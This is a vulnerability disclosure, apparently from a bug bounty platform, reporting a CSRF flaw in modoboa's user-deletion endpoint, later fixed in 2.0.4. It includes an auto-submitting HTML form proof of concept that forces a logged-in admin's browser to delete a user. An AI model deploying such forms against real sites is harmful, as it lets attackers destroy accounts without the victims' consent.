CSRF leading to delete a user in modoboa/modoboa

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Reported on

Jan 18th 2023

Description

The deleting a user functionality is vulnerable to a CSRF attack.

The cause is same with the deleting a domain functionality.

Proof of Concept

  1. Login as admin.
  2. Create a user to be deleted. E.g. the user ID is 2.
  3. Open the following file in the browser.
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost:8000/admin/accounts/2/delete/">
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Impact

An attacker can force a victim to delete users.

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A modoboa/modoboa maintainer validated this vulnerability 4 months ago
bAu has been awarded the disclosure bounty
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A modoboa/modoboa maintainer
4 months ago

A PR containing a fix is available here: https://github.com/modoboa/modoboa/pull/2753

bAu
4 months ago

Researcher

@maintainer Looks good :)

A modoboa/modoboa maintainer marked this as fixed in 2.0.4 with commit 7f0573 4 months ago
The fix bounty has been dropped
This vulnerability has been assigned a CVE
A modoboa/modoboa maintainer published this vulnerability 4 months ago
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